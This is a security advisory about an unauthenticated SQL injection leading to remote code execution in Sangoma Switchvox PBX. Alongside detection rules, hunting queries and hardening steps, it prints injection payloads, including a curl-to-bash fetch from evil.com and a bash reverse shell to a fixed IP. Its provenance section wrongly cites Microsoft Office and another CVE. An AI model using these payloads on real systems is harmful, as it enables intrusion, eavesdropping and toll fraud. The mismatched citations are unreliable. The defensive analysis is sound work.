CVE-2026-9586: Unauthenticated SQL Injection to Remote Code Execution in Sangoma Switchvox PBX
HERMES THREAT SCORE & ENTERPRISE VOIP COMPROMISE
Target:Sangoma Switchvox PBX (SMB Edition) CVSS v3.1 rates CVE-2026-9586 at 9.8 (Critical) and CVSS v4.0 at 9.3 (Critical). The Hermes Threat Score assigns 94 (CRITICAL). This aligns with the real-world operational threat: Sangoma Switchvox VoIP appliances are frequently exposed to external SIP and HTTP networks. An attacker dispatches a single unauthenticated XML HTTP request to the /pa endpoint with an injected PhoneIP tag, achieving direct arbitrary PostgreSQL command execution and elevating to root OS shell execution.
CVE-2026-9586: Unauthenticated SQL Injection to Remote Code Execution in Sangoma Switchvox PBXVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
π Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.
π Why is this related? (Evidence & Provenance)
“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled β1. Technical Context & Affected Software MatrixβSangoma Switchvox is a unified communications and VoIP telephony appliance based on Asterisk and Linux, managing corporate call routing, voicemail, and phone provisioning.
| Parameter | Technical Specification | Operational Context |
|---|---|---|
| CVE Identifier | CVE-2026-9586 | National Vulnerability Database & CISA KEV |
| Vulnerable Service | Web Provisioning API (/pa endpoint) | Apache HTTP Server reverse proxy / FastCGI |
| Target Database | PostgreSQL 12/13/14 backend | Central Switchvox configuration and CDR store |
| Network Protocol | HTTP / HTTPS (Ports 80/TCP, 443/TCP) | Public or internal VoIP access |
| Root Cause | Unparameterized XML field concatenation | SQL Injection (CWE-89) |
| Affected Versions | Switchvox SMB Edition 8.3 (build 104997) & earlier | All legacy and unpatched 8.x releases |
| Patched Version | 8.4.0.2 (Released July 14, 2026) | Official vendor maintenance release |
| CISA KEV Date | August 30, 2026 | Active zero-day and n-day telemetry |
2. In-Depth Technical Decomposition: Anatomy of the /pa SQL Injection
Section titled β2. In-Depth Technical Decomposition: Anatomy of the /pa SQL InjectionβA. Vulnerable Code Flow
Section titled βA. Vulnerable Code FlowβThe Switchvox /pa endpoint provides auto-provisioning compatibility for hardware IP phones (such as Polycom VVX handsets). When a phone contacts /pa, it posts XML data identifying its IP address and status:
<PolycomIPPhone> <PhoneIP>192.168.1.50</PhoneIP> <MAC>0004f2112233</MAC></PolycomIPPhone>In vulnerable versions, the backend PHP/Python handler parses the XML document and directly formats the PhoneIP value into an SQL query string:
# Conceptual representation of the vulnerable routinephone_ip = xml_tree.find('PhoneIP').textquery = f"SELECT extension, phone_type FROM phone_assignments WHERE ip_addr = '{phone_ip}'"db.execute(query) # Vulnerable to SQL injection!Because single quotes and SQL delimiters are not stripped, an attacker can terminate the string literal and stack or union arbitrary SQL statements.
+----------------------------------------------------------------------------------------------------+| CVE-2026-9586 EXPLOIT CHAIN ARCHITECTURE |+----------------------------------------------------------------------------------------------------+
[Remote Attacker] [Sangoma Switchvox PBX] β β [1] ββββ POST /pa HTTP/1.1 βββββββββββββββββββββββββββββββββββββββββββββββββββββββ>β XML Parser: β <PolycomIPPhone> β Extracts <PhoneIP> without validation β <PhoneIP>'; UPDATE users SET pass_hash=...; --</PhoneIP> β β </PolycomIPPhone> β β β [2] β β PostgreSQL Engine: β β Executes stacked query as superuser β β Overwrites web admin credentials β β [3] ββββ Second-Stage: Remote Command Execution βββββββββββββββββββββββββββββββββ>β β <PhoneIP>'; DROP TABLE IF EXISTS cmd; β PostgreSQL COPY Primitive: β CREATE TABLE cmd(c text); β Invokes bash reverse shell β COPY cmd FROM PROGRAM 'curl evil.com/r.sh | bash'; --</PhoneIP> β with Asterisk / root privileges β β [4] β<ββββ Interactive Root C2 Shell Established ββββββββββββββββββββββββββββββββββ Host fully compromised β β Call recording & VoIP wiretapping+----------------------------------------------------------------------------------------------------+B. Exploitation Weaponization: From SQLi to OS Shell
Section titled βB. Exploitation Weaponization: From SQLi to OS ShellβBecause the database user possesses permissions to execute operating system commands or write to local disk paths, attackers transition from SQL injection to full remote code execution via PostgreSQLβs COPY ... FROM PROGRAM construct or by planting cron jobs:
'; COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/198.51.100.42/4444 0>&1'; --Adversaries also target the switchvox administration accounts stored in the database, resetting the administrator credentials or injecting backdoor SIP accounts into Asterisk configuration tables to conduct call eavesdropping and toll fraud.
3. Threat Intelligence & CISA KEV In-The-Wild Activity
Section titled β3. Threat Intelligence & CISA KEV In-The-Wild Activityβ- CISA KEV Integration: Formally cataloged on August 30, 2026, following active exploitation by initial access brokers (IABs) and ransomware affiliates targeting corporate VoIP appliances.
- Observed Campaign Behaviors:
- Insertion of rogue SIP extensions used to route high-volume international toll fraud calls.
- Exfiltration of historical call detail records (CDR) and voicemail recordings containing sensitive business discussions and MFA audio tokens.
- Establishment of persistent SSH keys and reverse socks proxies for lateral movement into internal corporate subnets.
4. MITRE ATT&CK Mapping
Section titled β4. MITRE ATT&CK Mappingβ| Tactic | Technique ID | Technique Name | Operational Mapping |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | Unauthenticated POST request to /pa |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Execution via PostgreSQL FROM PROGRAM |
| Persistence | T1136.001 | Create Account: Local Account | Insertion of backdoor admin and SIP users |
| Collection | T1125 | Video / Audio Capture | Interception of VoIP audio and call recordings |
| Lateral Movement | T1021.004 | Remote Services: SSH | Pivoting from PBX into internal IT network |
5. Detection Engineering & Telemetry
Section titled β5. Detection Engineering & TelemetryβA. Suricata Detection Signature
Section titled βA. Suricata Detection Signatureβalert http any any -> $HTTP_SERVERS any ( msg:"HERMES DEFENSE - Sangoma Switchvox /pa SQL Injection Attempt (CVE-2026-9586)"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/pa"; http.request_body; content:"<PolycomIPPhone>"; fast_pattern; http.request_body; content:"<PhoneIP>"; http.request_body; pcre:"/<PhoneIP>[^<]*(\'|--|;|UNION|SELECT|COPY|FROM\s+PROGRAM)/is"; classtype:web-application-attack; sid:20269586; rev:1; reference:cve,2026-9586;)B. Sigma Detection Rule
Section titled βB. Sigma Detection Ruleβtitle: Sangoma Switchvox Unauthenticated SQL Injection via /paid: c4d5e6f7-9586-4f11-a832-cve20269586status: productiondescription: Detects exploitation attempts against Sangoma Switchvox /pa endpoint with SQL injection payloadsauthor: Hermes Codex Cyber Defense Teamdate: 2026-09-11logsource: category: webserver service: apache_accessdetection: selection: cs_method: 'POST' cs_uri_stem: '/pa' payload_indicators: cs_uri_query|contains: - 'UNION' - 'SELECT' - 'COPY' - 'PROGRAM' - '%27' condition: selection and payload_indicatorsfields: - c_ip - cs_uri_stem - sc_statusfalsepositives: - None expected for /pa with SQL keywordslevel: criticaltags: - attack.initial_access - attack.t1190 - cve.2026.95866. DFIR Forensics & Hunting Queries
Section titled β6. DFIR Forensics & Hunting QueriesβKey Forensics Checkpoints:
Section titled βKey Forensics Checkpoints:β- Web Server Logs (
/var/log/httpd/or/var/log/nginx/): Inspect POST requests to/paoriginating from non-phone subnets. - PostgreSQL Logs (
/var/log/postgresql/): Search for syntax errors or anomalous execution queries containingFROM PROGRAMor unexpectedUPDATEcommands on user tables. - Asterisk Configuration Files: Audit
/etc/asterisk/extensions.confand database tables for unauthorized extensions created after July 2026.
Threat Hunting Query (Splunk):
Section titled βThreat Hunting Query (Splunk):βindex=web sourcetype=access_combined uri_path="/pa" method="POST"| rex field=_raw "<PhoneIP>(?<phone_ip>[^<]+)</PhoneIP>"| where match(phone_ip, "(?i)(SELECT|UNION|COPY|PROGRAM|;|--|')")| table _time, clientip, phone_ip, status7. Mitigation & Hardening Roadmap
Section titled β7. Mitigation & Hardening Roadmapβ- Apply Firmware Patch: Immediately upgrade Switchvox to version 8.4.0.2 or higher.
- Perimeter Firewall Filtering: Do not expose ports 80/TCP, 443/TCP, or 5060/UDP directly to the public internet; restrict access strictly to known carrier SIP trunks and corporate office IP blocks.
- Database Privilege Segregation: If utilizing custom database interfaces, ensure the web application user lacks PostgreSQL superuser (
SUPERUSER) andpg_execute_server_programrole privileges. - SIP Credential Audit: Rotate all administrative and SIP user credentials across the PBX infrastructure.